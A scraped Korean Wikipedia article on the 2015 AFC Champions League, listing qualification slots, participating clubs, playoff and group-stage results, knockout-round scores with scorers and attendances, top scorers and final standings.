레크위야 1 : 2 2 : 2 페르세폴리스 1 : 3 알힐랄 1 : 0 0 : 3 알아흘리 3 : 3 (a) 알아인 0 : 0 3 : 3 나프트 테헤란 2 : 2 (a) 알아흘리 1 : 0 1 : 2 동아시아 수원 삼성 블루윙즈 4 : 4 (a) 가시와 레이솔 2 : 3 2 : 1 전북 현대 모터스 2 : 1 베이징 궈안 1 : 1 1 : 0 FC 서울 3 : 6 감바 오사카 1 : 3 2 : 3 성남 FC 2 : 3 광저우 헝다 2 : 1 0 : 2 1경기[편집] 2015년 5월 19일 19:15 (UTC+03) 알사드 1 : 2 레크위야 자심 빈 하마드 스타디움, 도하 관중수: 4,682명 심판: 랍샨 이르마토프 알하이도스  37' 리포트 소리아  12'므사크니  36' 2015년 5월 26일 19:00 (UTC+03) 레크위야 2 : 2 알사드 압둘라 빈 할리파 경기장, 도하 관중수: 4,241명 심판: 도마 마사아키 므사크니  13'모하마드  83' 리포트 무리키  36'아사달라  63' 2경기[편집] 2015년 5월 19일 19:30 (UTC+04:30) 페르세폴리스 1 : 0 알힐랄 아자디 스타디움, 테헤란 관중수: 100,000명 심판: 나고르 아미르 누르 모하메드 디가오  90+2' (o.g) 리포트 2015년 5월 26일 21:05 (UTC+03) 알힐랄 3 : 0 페르세폴리스 킹 파드 국립 경기장, 리야드 관중수: 23,590명 심판: 발렌틴 코발렌코 알살렘  29'알샬후브  57' (pen.)알도사리  90+1' 리포트 3경기[편집] 2015년 5월 20일 19:45 (UTC+04) 알아흘리 0 : 0 알아인 라세드 경기장, 두바이 관중수: 8,900명 심판: 고형진 리포트 2015년 5월 27일 19:50 (UTC+04) 알아인 3 : 3 알아흘리 하자빈 자예드 스타디움, 알아인 관중수: 14,270명 심판: 모하나드 카림 에시 샤라이 잔  5', 78'에이사  90' 리포트 카미스  51'칼릴  53', 56' 4경기[편집] 2015년 5월 20일 20:00 (UTC+04:30) 나프트 테헤란 1 : 0 알아흘리 아자디 스타디움, 테헤란 관중수: 13,370명 심판: 야마모토 유다이 레자에이  34' 리포트 2015년 5월 27일 20:45 (UTC+03) 알아흘리 2 : 1 나프트 테헤란 킹 압둘라 스포츠 시티 경기장, 지다 관중수: 35,488명 심판: 김동진 알소마  36', 42' 리포트 파도바니  31' 5경기[편집] 2015년 5월 19일 19:30 (UTC+09) 수원 삼성 블루윙즈 2 : 3 가시와 레이솔 수원월드컵경기장, 수원 관중수: 6,164명 심판: 암마르 알제네이비 염기훈  1'정대세  59' 리포트 바라다  12'레안드루  29' (pen.), 56' 2015년 5월 26일 19:00 (UTC+09) 가시와 레이솔 1 : 2 수원 삼성 블루윙즈 히타치 가시와 축구장, 가시와 관중수: 9,142명 심판: 나와프 슈크랄라 고바야시  65' 리포트 정대세  26'구자룡  54' 6경기[편집] 2015년 5월 19일 19:00 (UTC+09) 전북 현대 모터스 1 : 1 베이징 궈안 전주월드컵경기장, 전주 관중수: 12,409명 심판: 발렌틴 코발렌코 김기희  13' 리포트 바타야  85' (pen.) 2015년 5월 26일 19:30 (UTC+08) 베이징 궈안 0 : 1 전북 현대 모터스 베이징 공인체육장, 베이징 관중수: 43,526명 심판: 모함메드 압둘라 하산 리포트 에두  72' 7경기[편집] 2015년 5월 20일 19:30 (UTC+09) FC 서울 1 : 3 감바 오사카 서울월드컵경기장, 서울 관중수: 10,607명 심판: 모하나드 카심 윤주태  90+2' 리포트 우사미  63', 86' 요네쿠라  74' 2015년 5월 27일 19:00 (UTC+09) 감바 오사카 3 : 2 FC 서울 엑스포 70' 스타디움, 스이타 관중수: 9,597명 심판: 알리레자 파가니 파트리크  16' 구라타  45' 린스  86' 리포트 윤주태  58', 90+2' 8경기[편집] 2015년 5월 10일 19:30 (UTC+09) 성남 FC 2 : 1 광저우 헝다 탄천종합운동장, 성남 관중수: 13,792명 심판: 모센 토르키 조르지뉴  23' 김두현  90+5' (pen.) 리포트 황보원  42' 2015년 5월 27일 20:00 (UTC+08) 광저우 헝다 2 : 0 성남 FC 텐허 스타디움, 광저우 관중수: 48,761명 심판: 랍샨 이르마토프 골라르트  27' (pen.), 57' 리포트 8강전[편집] 팀 1 결과 팀 2 1차전 2차전 서아시아 알힐랄 6 : 3 레크위야 4 : 1 2 : 2 나프트 테헤란 1 : 3 알아흘리 0 : 1 1 : 2 동아시아 가시와 레이솔 2 : 4 광저우 헝다 1 : 3 1 : 1 전북 현대 모터스 2 : 3 감바 오사카 0 : 0 2 : 3 1경기[편집] 2015년 8월 25일 20:50 UTC+3 알힐랄 4 : 1 레크위야 킹 파드 국립 경기장, 리야드 관중수: 1,190명 심판: 벤 윌리엄스 아이우통  11' 알카에비  34' 카를루스 에두아르두  36', 86' 리포트 므사크니  17' 2015년 9월 15일 19:00 UTC+3 레크위야 2 : 2 알힐랄 압둘라 빈 할리파 경기장, 도하 관중수: 5,439명 심판: 사토 류지 이스마일 모하마드  45+2' 치코  72' 리포트 카를루스 에두아르두  26' 지강  87' 2경기[편집] 2015년 8월 25일 19:00 UTC+4:30 나프트 테헤란 0 : 1 알아흘리 아자디 스타디움, 테헤란 관중수: 23,300명 심판: 도조 미노루 리포트 리마  62' 2015년 9월 16일 20:25 UTC+4 알아흘리 2 : 1 나프트 테헤란 라세드 경기장, 두바이 관중수: 9,353명 심판: 김종혁 리마  26' 칼릴  47' 리포트 아미리  50' 3경기[편집] 2015년 8월 26일 19:00 UTC+9 가시와 레이솔 1 : 3 광저우 헝다 히타치 가시와 축구장, 가시와 관중수: 14,030명 심판: 파하드 알미르다시 구도  89' 리포트 스즈키  5' (o.g.) 파울리뉴  40' 가오린  58' 2015년 9월 15일 20:00 UTC+8 광저우 헝다 1 : 1 가시와 레이솔 텐허 스타디움, 광저우 관중수: 48,643명 심판: 알리레자 파가니 황보원  30' 리포트 크리스치아누  12' 4경기[편집] 2015년 8월 26일 19:00 UTC+9 전북 현대 모터스 0 : 0 감바 오사카 전주월드컵경기장, 전주 관중수: 23,633명 심판: 모흐드 아미룰 이즈완 야콥 리포트 2015년 9월 16일 19:00 UTC+9 감바 오사카 3 : 2 전북 현대 모터스 엑스포 70' 스타디움, 스이타 관중수: 9,284명 심판: 모함메드 압둘라 하산 파트리크  14' 구라타  76' 요네쿠라  90+3' 리포트 레오나르두  13' (페널티킥) 베라  89' 준결승전[편집] 팀 1 결과 팀 2 1차전 2차전 서아시아 알힐랄 3 : 4 알아흘리 1 : 1 2 : 3 동아시아 광저우 헝다 2 : 1 감바 오사카 2 : 1 0 : 0 1경기[편집] 2015년 9월 29일 20:15 UTC+3 알힐랄 1 : 1 알아흘리 킹 파드 국립 경기장, 리야드 관중수: 53,268명 심판: 발렌틴 코발렌코 아이우통  82' 리포트 호드리구 리마  57' 2015년 10월 20일 알아흘리 3 : 2 알힐랄 라세드 경기장, 두바이 관중수: 9,800명 심판: 나와프 슈크랄라 리포트 2경기[편집] 2015년 9월 30일 20:00 UTC+8 광저우 헝다 2 : 1 감바 오사카 텐허 스타디움, 광저우 관중수: 48,946명 심판: 나와프 슈크랄라 황보원  35'정즈  57' 리포트 펑샤오팅  12' (o.g.) 2015년 10월 21일 19:00 UTC+9 감바 오사카 0 : 0 광저우 헝다 만박기념경기장, 스이타 관중수: 17,310명 심판: 크리스 베스 리포트 결승전[편집] 이 부분의 본문은 AFC 챔피언스리그 2015 결승전입니다. 팀 1 결과 팀 2 1차전 2차전 알아흘리 0 : 1 광저우 헝다 0 : 0 0 : 1 2015년 11월 7일 19:45 UTC+4 알아흘리 0 : 0 광저우 헝다 라세드 경기장, 두바이 관중수: 9,480명 심판: 김종혁 리포트 2015년 11월 21일 20:00 UTC+8 광저우 헝다 1 : 0 알아흘리 텐허 스타디움, 광저우 관중수: 42,499명 심판: 랍샨 이르마토프 이우케종  54' 우승[편집] AFC 챔피언스리그2015 우승 광저우 헝다 타오바오2번째 우승 득점 선수[편집] 순위 이름 소속팀 조별 리그 16강 8강 4강 결승 총득점 1 2 3 4 5 6 1 2 1 2 1 2 1 2 1 히카르두 골라르트 광저우 헝다 타오바오 1 3 2 2 8 2 양쉬 산둥 루넝 2 1 1 2 6 아흐메드 칼릴 알아흘리 1 2 2 1 6 3 오마르 알소마 일아흘리 1 2 2 5 아사모아 잔 알아인 1 1 1 2 5 유세프 므사크니 레크위야 1 1 1 1 1 5 7 이동국 전북 현대 모터스 2 2 4 우사미 다카시 감바 오사카 1 1 2 4 구도 마사토 가시와 레이솔 2 1 1 4 지오구 부리람 유나이티드 1 3 4 파트릭 감바 오사카 2 1 1 4 카를루스 에두아르두 알힐랄 2 1 1 4 리마 알아흘리 1 1 1 1 4 이베르통 히베이루 알아흘리 1 1 1 1 4 플레이오프의 득점은 포함되지 않았다. 최종 순위[편집] 순위 팀 경기수 승 무 패 득 실 득실차 승점 1 광저우 헝다 타오바오 14 7 4 3 19 14 5 28 2 알아흘리 14 5 6 3 18 16 2 21 3 알힐랄 12 6 3 3 21 12 9 21 4 감바 오사카 12 6 3 3 20 14 6 21 5 레크위야 10 5 3 2 16 14 2 18 6 전북현대 10 4 4 2 18 10 8 15 7 가시와 레이솔 10 4 3 3 20 17 3 15 8 나프트 테헤란 10 3 2 5 11 13 -2 14 9 페르세폴리스 8 5 0 3 8 10 -2 15 10 수원 삼성 블루윙스 8 4 4 2 15 12 3 16 11 알아인 8 3 5 0 10 5 5 20 12 FC서울 8 3 5 2 9 8 1 20 13 알아흘리 8 3 3 2 13 9 4 12 14 베이징 궈안 8 3 3 2 7 5 2 12 15 알사드 8 3 2 3 12 13 -1 11 16 성남FC 8 3 1 4 10 10 0 13 17 부리람 유나이티드 6 3 1 2 12 7 5 10 18 웨스턴 시드니 원더러스 6 2 2 2 9 7 2 8 19 알나스르 6 2 2 2 7 5 2 8 20 나사프 카르시 6 2 2 2 5 5 0 8 21 산둥 루넝 6 2 1 3 13 17 -4 7 22 브리즈번 로어 6 2 1 3 7 9 -2 7 23 가시마 앤틀러스 6 2 0 4 10 13 -3 6 24 풀라드 FC 6 1 3 2 2 4 -2 6 25 로코모티프 타슈켄트 6 1 1 4 10 13 -3 4 26 트락토르 사지 6 1 1 4 7 11 -4 4 27 우라와 레즈 6 1 1 4 5 9 -4 4 28 빈즈엉 FC 6 1 1 4 6 15 -9 4 29 광저우 푸리 6 1 1 4 3 13 -10 4 30 파흐타코르 타슈켄트 6 1 3 2 6 8 -2 6 31 알샤바브 6 1 2 3 5 8 -3 5 32 부뇨드코르 6 0 1 5 2 7 -5 1 같이 보기[편집] AFC컵 2015 각주[편집] ↑ 가 나 “AFC MA Ranking as at 3 November 2014” (PDF). AFC.  ↑ AFC. “AFC Calendar of Competitions 2015” (PDF).  외부 링크[편집] 공식 홈페이지 vdehAFC 챔피언스리그 시즌아시안 챔피언 클럽 토너먼트(1967-1971)시즌 1967 1969 1970 1971 결승전 1967 1969 1970 1971 아시안 클럽 챔피언십(1985-2002)시즌 1985-86 1986 1987 1988-89 1989-90 1990-91 1991 1992-93 1993-94 1994-95 1995 1996-97 1997-98 1998-99 1999-2000 2000-01 2001-02 결승전 1985-86 1986 1987 1988-89 1989-90 1990-91 1991 1992-93 1993-94 1994-95 1995 1996-97 1997-98 1998-99 1999-2000 2000-01 2001-02 AFC 챔피언스리그(2002-현재)시즌 2002-03 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 결승전 2002-03 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 vdehAFC 챔피언스리그 20152008 | 2009 | 2010 | 2011 | 2012 | 2013 | 2014 | 2015 | 2016 | 2017 | 2018 | 2019우승 광저우 헝다준우승 알아흘리4강 알힐랄 · 감바 오사카8강 전북 현대 모터스 · 나프트 테헤란 · 가시와 레이솔 · 레크위야16강 수원 삼성 블루윙즈 · 성남 FC · FC 서울 · 알아흘리 · 페르세폴리스 · 알아인 · 베이징 궈안 · 알사드조별 예선 알나스르 · 알샤바브 · 풀라드 · 트락토르 사지 · 우라와 레즈 · 가시마 앤틀러스 · 파흐타코르 타슈켄트 · 로코모티프 타슈켄트 · 나사프 카르시 · 부뇨드코르 · 브리즈번 로어 · 웨스턴 시드니 원더러스 · 산둥 루넝 · 광저우 푸리 · 부리람 유나이티드 · 빈즈엉 FC플레이오프 센트럴코스트 매리너스 · 알자지라 · 알와흐다 · 엘자이시 · 카디시야 · 알웨흐다트 · 촌부리 · 방콕 글라스 · 알나흐다 · 하노이 T&T · 리파 · 페르십 반둥 · 킷치 · 야다나본 · 조호르 다룰 탁짐 · 벵갈루루 · 워리어스 원본 주소 "https://ko.wikipedia.org/w/index.php?title=AFC_챔피언스리그_2015&oldid=24403485" 분류: AFC 챔피언스리그 시즌2015년 축구 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 العربيةDeutschEnglishEspañolفارسیFrançaisBahasa IndonesiaItaliano日本語QaraqalpaqshaBahasa MelayuNederlandsPortuguêsРусскийSvenskaไทยOʻzbekcha/ўзбекча中文粵語 링크 편집 이 문서는 2019년 6월 9일 (일) 23:04에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
AFC 챔피언스리그 2015 - 위키백과, 우리 모두의 백과사전 AFC 챔피언스리그 2015 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 AFC 챔피언스리그 2015 AFC Champions League 2015대회 개요개최기간 2015년 2월 4일 ~ 11월 21일참가클럽 49 (21개 협회) (1 (AFC)개 대륙)경기장 46 (40개 도시)최종 순위● 우승 팀 광저우 헝다 타오바오 (2번째 우승)● 준우승 팀 알아흘리 (두바이) 공동 3위 감바 오사카 알힐랄통계총 경기수 143경기득점 총합 392골 (경기당 2.74골)총 관중수 2,28,8863명 (경기당 16,006명)최다득점 선수 히카르두 골라르트 (8골)최우수 선수 히카르두 골라르트 ← 2014 2016 → v • d • e • h AFC 챔피언스리그 2015는 13번째로 개최되는 AFC 챔피언스리그이다. 우승 팀은 FIFA 클럽 월드컵 2015에 참가한다. 목차 1 출전권 배정 2 참가 팀 2.1 서아시아 (A-D조) 2.2 동아시아 (E-H조) 3 일정 4 플레이오프 4.1 서아시아 4.1.1 2라운드 4.1.2 3라운드 4.2 동아시아 4.2.1 1라운드 4.2.2 2라운드 4.2.3 3라운드 5 조별 리그 5.1 A조 5.2 B조 5.3 C조 5.4 D조 5.5 E조 5.6 F조 5.7 G조 5.8 H조 6 결선 토너먼트 6.1 16강전 6.1.1 1경기 6.1.2 2경기 6.1.3 3경기 6.1.4 4경기 6.1.5 5경기 6.1.6 6경기 6.1.7 7경기 6.1.8 8경기 6.2 8강전 6.2.1 1경기 6.2.2 2경기 6.2.3 3경기 6.2.4 4경기 6.3 준결승전 6.3.1 1경기 6.3.2 2경기 6.4 결승전 7 우승 8 득점 선수 9 최종 순위 10 같이 보기 11 각주 12 외부 링크 출전권 배정[편집] 기준 충족 국가 기준 미충족 국가 서아시아 배정 국가 순위 점수[1] 배정 조별 리그 플레이오프 지역 전체 3라운드 2라운드 1라운드 사우디아라비아 1 2 88.268 3 1 0 — 이란 2 3 80.794 3 1 0 — 우즈베키스탄 3 5 62.272 3 1 0 — 아랍에미리트 4 7 57.792 2 2 0 — 카타르 5 9 56.102 1 0 2 — 이라크* 6 10 47.106 0 0 0 — 쿠웨이트 7 11 45.225 0 0 1 — 요르단 8 12 44.309 0 0 1 — 오만 9 14 30.586 0 0 1 — 바레인 10 16 25.547 0 0 1 — 레바논* 11 17 25.488 0 0 0 — 시리아* 12 19 22.883 0 0 0 — 합계 12 5 6 — 동아시아 배정 국가 순위 점수[1] 배정 조별 리그 플레이오프 지역 전체 3라운드 2라운드 1라운드 대한민국 1 1 94.866 3 1 0 0 일본 2 4 77.107 3 1 0 0 오스트레일리아 3 6 57.940 2 1 0 0 중국 4 8 57.660 2 1 1 0 태국 5 13 33.049 1 0 2 0 베트남 6 15 27.753 1 0 1 0 인도네시아 7 18 25.004 0 0 1 0 홍콩 8 20 20.077 0 0 1 0 미얀마 9 21 18.282 0 0 0 1 말레이시아 10 22 18.153 0 0 0 1 인도 11 23 16.756 0 0 0 1 싱가포르 12 24 16.097 0 0 0 1 합계 12 4 6 4 AFC컵 참가 대상 국가의 클럽이 조별 리그에 진출할 경우 차순위 팀이 해당 팀을 대신하여 AFC컵 2014의 조별 리그에 참가하게 된다. * 이라크와 레바논, 시리아는 출전권을 분배받았지만, 클럽 라이센싱 기준을 통과한 클럽이 없어 출전권이 박탈되었다. 참가 팀[편집] 서아시아 (A-D조)[편집] 팀 출전 자격 출전 횟수 마지막 출전 조별 리그 알나스르 사우디 프리미어리그 2013-14 우승 2회 2011 알샤바브 사우디 챔피언스컵 2014 우승 9회 2014 알힐랄 사우디 프리미어리그 2013-14 준우승 11회 2014 풀라드 페르시안 걸프 컵 2013-14 우승 3회 2014 트락토르 사지 하즈피 컵 2013-14 우승 3회 2014 페르세폴리스 페르시안 걸프 컵 2013-14 준우승 5회 2012 파흐타코르 우즈베키스탄 리그 2014 우승 12회 2013 로코모티프 타슈켄트 우즈베키스탄 컵 2014 우승 우즈베키스탄 리그 2014 준우승 3회 2014 나사프 카르시 우즈베키스탄 리그 2014 3위 3회 2014 알아흘리 UAE 1부 리그 2013-14 우승 6회 2014 알아인 UAE 프레지던트컵 2013-14 우승 10회 2014 레크위야 카타르 스타스 리그 2013-14 우승 4회 2014 플레이오프 3라운드 알아흘리 사우디 프리미어리그 2013-14 3위 7회 2013 나프트 테헤란 페르시안 걸프 컵 2013-14 3위 1회 첫 출전 부뇨드코르* 우즈베키스탄 리그 2014 4위 8회 2014 알와흐다 UAE 1부 리그 2013-14 준우승 7회 2011 알자지라 UAE 1부 리그 2013-14 3위 7회 2014 플레이오프 2라운드 알사드 카타르 아미르 컵 2014 우승 10회 2014 알자이시 카타르 스타스 리그 2013-14 준우승 3회 2014 알카디시야 쿠웨이트 프리미어리그 2012-13 우승 AFC컵 2014 결승 진출 팀 5회 2014 알웨흐다트 요르단 리그 2013-14 우승 2회 2002-03 알나흐다 클럽 오만 리그 2013-14 우승 1회 첫 출전 리파 클럽 바레인 프리미어리그 2013-14 우승 2회 2004 동아시아 (E-H조)[편집] 팀 출전 자격 출전 횟수 마지막 출전 조별 리그 전북 현대 모터스 K리그 클래식 2014 우승 9회 2014 성남 FC FA컵 2014 우승 6회 2012 수원 삼성 블루윙즈 K리그 클래식 2014 준우승 6회 2013 감바 오사카 J리그 디비전 1 2014 우승 천황배 2014 우승 7회 2012 우라와 레드 다이아몬즈 J리그 디비전 1 2014 준우승 4회 2013 가시마 앤틀러스 J리그 디비전 1 2014 3위 6회 2011 브리즈번 로어 A리그 2013-14 정규리그 우승 A리그 2013-14 그랜드 파이널 우승 3회 2013 웨스턴 시드니 원더러스 A리그 2013-14 정규리그 준우승 2회 2014 광저우 헝다 중국 슈퍼리그 2014 우승 4회 2014 산둥 루넝 중국 FA컵 2014 우승 7회 2014 부리람 유나이티드 타이 프리미어리그 2014 우승 5회 2014 빈즈엉 V-리그 2014 우승 2회 2008 플레이오프 3라운드 FC 서울 K리그 클래식 2014 3위 5회 2014 가시와 레이솔* J리그 디비전 1 2014 4위 3회 2013 센트럴코스트 매리너스* A리그 2013-14 정규리그 3위 5회 2014 베이징 궈안 중국 슈퍼리그 2014 준우승 7회 2014 플레이오프 2라운드 광저우 푸리 중국 슈퍼리그 2014 3위 1회 첫 출전 방콕 글라스 태국 FA컵 2014 우승 4회 2008 촌부리 타이 프리미어리그 2014 준우승 4회 2014 하노이 T&T** V-리그 2014 준우승 1회 첫 출전 페르십 반둥 인도네시아 슈퍼리그 2014 우승 1회 첫 출전 킷치 홍콩 1부 리그 2013-14 우승 1회 첫 출전 플레이오프 1라운드 야다나본 미얀마 내셔널리그 2013-14 우승 1회 첫 출전 조호르 다룰 탁짐 말레이시아 슈퍼리그 2014 우승 1회 첫 출전 벵갈루루 I-리그 2013-14 우승 1회 첫 출전 워리어스 S-리그 2014 우승 3회 2010 * 리그 상위팀들이 컵대회를 우승함에 따라 차순위 팀들이 진출하게 된다. **베트남 컵 2014에서 우승한 하이퐁 FC가 클럽 라이센싱 기준을 통과하지 못해 리그 준우승팀이 참가하게 되었다. 일정[편집] AFC 챔피언스리그 2015 대회 경기 일정은 다음과 같다.[2] 단계 라운드 추첨 일자 1차전 2차전 플레이오프 1라운드 2014년 12월 11일 (말레이시아 쿠알라룸푸르) 2015년 2월 4일 2라운드 2015년 2월 10일 3라운드 2015년 2월 17일 조별 예선 1차전 2015년 2월 24일 ~ 2월 25일 2차전 2015년 3월 3일 ~ 3월 4일 3차전 2015년 3월 17일 ~ 3월 18일 4차전 2015년 4월 7일 ~ 4월 8일 5차전 2015년 4월 21일 ~ 4월 22일 6차전 2015년 5월 5일 ~ 5월 6일 토너먼트전 16강전 2015년 5월 19일 ~ 5월 20일 2015년 5월 26일 ~ 5월 27일 8강전 6월 18일 2015년 8월 25일 ~ 8월 26일 2015년 9월 15일 ~ 9월 16일 준결승전 2015년 9월 29일 ~ 9월 30일 2015년 10월 20일 ~ 10월 21일 결승전 2015년 11월 7일 2015년 11월 21일 플레이오프[편집] 순위가 높은 축구 협회에 속해 있는 팀의 홈 구장에서 단판 승부로 진행되며 90분 내에 승부가 나지 않으면 연장전, 승부차기가 진행된다. 플레이오프 승자는 조별 예선에 진출한다. 플레이오프에서 탈락하는 팀 중 2015 AFC컵 참가 대상인 팀은 AFC컵 조별 라운드 출전 자격을 얻는다. 서아시아[편집] 2라운드[편집] 팀 1 결과 팀 2 알카디시야 1 : 0 알웨흐다트 알자이시 2 : 1 알나흐다 알사드 0 : 0 (연장) (승부차기 11 : 10) 리파 2015년 2월 10일 18:15 (UTC+03) 알카디시야 1 : 0 알웨흐다트 쿠웨이트 S.C. 스타디움 관중수: 9,200 심판: 모하나드 카심 압둘라  59' 2015년 2월 10일 18:00 (UTC+03) 알자이시 2 : 1 알나흐다 알가라파 스타디움 관중수: 5,507 심판: 모흐드 아미룰 이즈완 야콥 히베이루  79' 호마리뉴  90' 보울라니  4' 2015년 2월 10일 18:30 (UTC+03) 알사드 0 : 0 (연장전) 리파 셰이크 자심 빈 하마드 스타디움 관중수: 2,500 심판: 무하마드 타키     승부차기   11 : 10   3라운드[편집] 팀 1 결과 팀 2 알아흘리 2 : 1 (연장) 알카디시야 나프트 테헤란 1 : 0 알자이시 부뇨드코르 2 : 1 알자지라 알와흐다 4 : 4 (연장) (승부차기 4 : 5) 알사드 2015년 2월 17일 20:10 (UTC+03) 알아흘리 2 : 1 (연장전) 알카디시야 킹 압둘라 스포츠 시티 관중수: 34,028 심판: 나와프 슈크랄라 알소마  83' (pen.) 알바사스  115' 리포트 알무타와  33' 2015년 2월 17일 18:00 (UTC+03:30) 나프트 테헤란 1 : 0 알자이시 아자디 스타디움 관중수: 5,750 심판: 랍샨 이르마토프 몬타하리  50' 리포트 2015년 2월 17일 17:00 (UTC+05) 부뇨드코르 2 : 1 알자지라 부뇨드코르 스타디움 관중수: 9,263 심판: 알리레자 파가니 쇼디에프  23' 라시도프  52' 리포트 맙쿠트  45+1' (pen.) 2015년 2월 17일 19:10 (UTC+04) 알와흐다 4 : 4 (연장전) 알사드 알나얀 경기장 관중수: 4,208 심판: 압둘라 알힐랄리 디아즈  8' 오마르  72' 알셰히  90+2' 마타르  108' 리포트 아메드  55' 이브라힘  66', 90+7', 98'     승부차기   4 : 5   동아시아[편집] 1라운드[편집] 팀 1 결과 팀 2 야다나본 1 : 1 (연장) (승부차기 5 : 6) 워리어스 조호르 다룰 탁짐 2 : 1 (연장) 벵갈루루 2015년 2월 4일 16:00 (UTC+06:30) 야다나본 1 : 1 (연장전) 워리어스 만달라 스타디움 관중수: 21,400 심판: 하메드 모메니 예 윈 아웅  102' 앤디 윈 아흐마드  99'     승부차기   5 : 6   2015년 2월 4일 20:45 (UTC+08) 조호르 다룰 탁짐 2 : 1 (연장전) 벵갈루루 스타디움 조호르 관중수: 17,455 심판: 압둘 가푸르 압둘 하미드 해리스 하런  47'찬투루 수피아  97' 유진슨  90' 2라운드[편집] 팀 1 결과 팀 2 하노이 T&T 4 : 0 페르십 반둥 촌부리 4 : 1 킷치 광저우 푸리 3 : 0 워리어스 방콕 글라스 3 : 0 조호르 다룰 탁짐 2015년 2월 10일 18:00 (UTC+07) 하노이 T&T 4 : 0 페르십 반둥 미 딘 스타디움 관중수: 2,500 심판: 재러드 질릿 마론클레  34', 57'삼손  47', 71' 2015년 2월 10일 19:00 (UTC+07) 촌부리 4 : 1 킷치 촌부리 스타디움 관중수: 3,432 심판: 김상우 아숨프상  8', 39', 55'누룰  27' 완 춘  35' 2015년 2월 10일 19:30 (UTC+08) 광저우 푸리 3 : 0 워리어스 예지우 스타디움 관중수: 7,883 심판: 미노루 토조 장즈펑  53'장현수  60'장숴  75' 2015년 2월 10일 19:00 (UTC+07) 방콕 글라스 3 : 0 조호르 다룰 탁짐 레오 스타디움 관중수: 5,299 심판: 크리스 베스 나롱  28' 카임비  52', 62' 3라운드[편집] 팀 1 결과 팀 2 FC 서울 7 : 0 하노이 T&T 가시와 레이솔 3 : 2 (연장) 촌부리 센트럴코스트 매리너스 1 : 3 광저우 푸리 베이징 궈안 3 : 0 방콕 글라스 2015년 2월 17일 19:30 (UTC+09) FC 서울 7 : 0 하노이 T&T 서울월드컵경기장 관중수: 6,718 심판: 사토 류지 윤일록  14' 에벨톤  20' 정조국  29', 46' 에스쿠데로  40' 이석현  69' 고명진  72' 리포트 2015년 2월 17일 19:00 (UTC+09) 가시와 레이솔 3 : 2 (연장전) 촌부리 히타치 가시와 축구장 관중수: 6,324 심판: 피터 그린 다케토미  8'레안드루  58 (pen.)', 116' 리포트 아숨프상  10' 크로에크릿  65' 2015년 2월 17일 19:30 (UTC+11) 센트럴코스트 매리너스 1 : 3 광저우 푸리 블루텅 경기장 관중수: 2,776 심판: 김동진 트리피로  90+2' 리포트 장닝  8' 루린  57' 로스  89 (o.g)' 2015년 2월 17일 18:00 (UTC+08) 베이징 궈안 3 : 0 방콕 글라스 베이징 공인체육장 관중수: 21,017 심판: 고형진 송보쉬안  17'바타야  64 (pen.)', 73' 리포트 조별 리그[편집] 각 클럽은 홈과 원정으로 같은 조의 세 클럽들과 두 번씩, 총 여섯 번의 경기를 한다. 승리시 승점 3점, 무승부시 승점 1점을 얻는다. 만약 승점이 같은 팀이 있을 경우 아래와 같은 방법으로 동점자를 가린다. 승점이 같은 팀 간 경기에서 상대 전적이 앞서는 팀 승점이 같은 팀 간 경기에서 골득실차가 더 높은 팀 승점이 같은 팀 간 경기에서 다득점을 한 팀 승점이 같은 팀 간 경기에서 원정 다득점을 한 팀 1~4의 기준을 적용하였음에도 여전히 순위가 같으면 1~4 기준을 순위가 같은 팀 안에서 다시 적용한다. 그럼에도 순위가 같을 경우 아래의 기준을 따른다. 조별 리그에서의 골득실차 조별 리그에서의 다득점 승점이 같은 팀끼리의 승부차기 조별 리그에서 받은 경고와 퇴장으로 인한 점수가 가장 적은 팀 (경고 1점, 경고 누적 퇴장 3점, 직접 퇴장 3점, 경고 후 직접 퇴장 4점) 해당 팀이 소속된 국가의 AFC 랭킹 각 조의 1위 팀과 2위 팀만이 다음 라운드로 진출한다. A조[편집] 팀 경기 승 무 패 득 실 차 승점 레크위야 6 4 1 1 9 5 +4 13 페르세폴리스 6 4 0 2 7 7 0 12 알나스르 6 2 2 2 7 6 +1 8 부뇨드코르 6 0 1 5 2 7 -5 1   알나스르 — 1 : 3 3 : 0 1 : 1 레크위야 1 : 1 — 3 : 0 1 : 0 페르세폴리스 1 : 0 3 : 0 — 2 : 1 부뇨드코르 0 : 1 0 : 1 0 : 1 — 2015년 2월 24일 18:00 (UTC+03:30) 페르세폴리스 3 : 0 레크위야 아자디 스타디움 관중수: 15,350 심판: 헤티캄카남게 페레라 벤가르  60' 노루지  66' 누리  66' (pen.) 리포트 2015년 2월 24일 20:25 (UTC+03) 알나스르 1 : 1 부뇨드코르 킹 파드 국립 경기장 관중수: 23,664 심판: 무하맛 타키 에스토야노프  51' 리포트 우린보에프  14' 2015년 3월 3일 18:00 (UTC+05) 부뇨드코르 0 : 1 페르세폴리스 부뇨드코르 스타디움 관중수: 21,285 심판: 김동진 리포트 누리  21' (pen.) 2015년 3월 3일 18:15 (UTC+03) 레크위야 1 : 1 알나스르 압둘라 빈 할리파 경기장 관중수: 3,840 심판: 모하나드 카심 이르시 사라이 베이스  51' 리포트 무사  47' (o.g) 2015년 3월 17일 18:00 (UTC+05) 부뇨드코르 0 : 1 레크위야 부뇨드코르 스타디움 관중수: 3,840 심판: 이이다 준페이 리포트 남태희  28' (pen.) 2015년 3월 17일 20:30 (UTC+03) 알나스르 3 : 0 페르세폴리스 킹 파드 국립 경기장 관중수: 20,315 심판: 사토 류지 미에르제예프스키  32' 에스토야노프  86' 알라헤브  90+5' 리포트 2015년 4월 8일 18:00 (UTC+04:30) 페르세폴리스 1 : 0 알나스르 아자디 스타디움 관중수: 100,000 심판: 마닝 